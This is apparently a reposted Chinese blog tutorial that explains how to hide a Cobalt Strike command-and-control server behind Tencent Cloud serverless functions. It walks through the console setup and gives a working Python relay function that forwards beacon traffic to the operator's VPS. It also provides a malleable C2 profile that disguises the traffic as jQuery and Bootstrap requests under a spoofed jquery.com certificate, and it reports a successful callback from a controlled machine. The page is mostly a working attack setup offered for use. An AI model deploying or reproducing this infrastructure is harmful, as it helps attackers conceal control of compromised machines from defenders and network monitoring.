IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 云函数隐藏c2服务器 -> 正文阅读

[系统运维]云函数隐藏c2服务器

云函数隐藏C2服务器 (有手就能配置)

0x01 前言

自己踩到的坑点主要就是
1、上线地址要去掉http://和:80

基于CS,隐藏C2服务器的手法有很多,常见如下:

  • 域前置
  • CDN
  • 第三方代理软件(heroku)
  • 云函数

记录一下利用腾讯云的云函数隐藏C2服务器。

壁画不多说直接开始…

0x02环境配置

需要准备:

  • 注册腾讯云账号
  • vps一台
  • cs(我用的4.3)

1、登陆腾讯云控制台,输入云函数

请添加图片描述

2、新建函数服务

请添加图片描述

3、函数名称随意,选择从头开始,环境填Python3.6,选完后下拉,把代码搞里头。

请添加图片描述

4、打码的地方填vps的地址(代码在下面),填完点完成,后会弹出一个提示框点击 留在此页面

C2地址的地方少掉了一个单引号,当时测试的时候也是一直不上线,最后排查的时候找到了。

请添加图片描述

  • 云函数的Python代码
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

5、点击触发管理,创建触发器

请添加图片描述

6、配置如下,点击提交

请添加图片描述

7、点击api服务名

请添加图片描述

8、点击编辑后到达此页面,路径修改为/ ,点击下一步

请添加图片描述

9、配置如下 点击完成 后点击 发布服务

请添加图片描述

10、配置cs的profile文件

set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";

https-certificate 
{

    set keystore "cobaltStrike.store"; //生成的cs证书名
    set password "123456";    //自己设置的密码

    ## Option 3) Cobalt Strike Self-Signed Certificate
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

http-get 
{

    set uri "/api/getit";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager 
{  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server 
    {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

11、开启cs teamserver ./teamserver vpsip password c2.profile

12、上线地址 需要去掉http:// 和 :80

取service-miuk9icj-1309081727.bj.apigw.tencentcs.com

请添加图片描述

13、创建监听

请添加图片描述

14、上线成功

请添加图片描述

可以看到上线的地址就是腾讯云,成功隐藏c2服务器。配置完后可以自己wireshark抓包看一下被控机器是否再跟腾讯云的ip地址通信。

请添加图片描述

0x03 总结

借鉴一下大佬的原理

  • 云函数隐藏C2原理

马 -> 腾讯云函数api -> py函数 -> CS服务端

CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)

0x04 help!!

之前尝试域前置,用cloudflare的cdn做,只做成功HTTP的,隐藏自己的C2服务器,想做https的但最后就是不能上线,不知道为啥,有知道的大佬可以告诉我一下,谢谢谢谢!

参考文章:https://xz.aliyun.com/t/10764#toc-3

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-01-17 11:52:14  更:2022-01-17 11:53:59 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 8:57:13-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码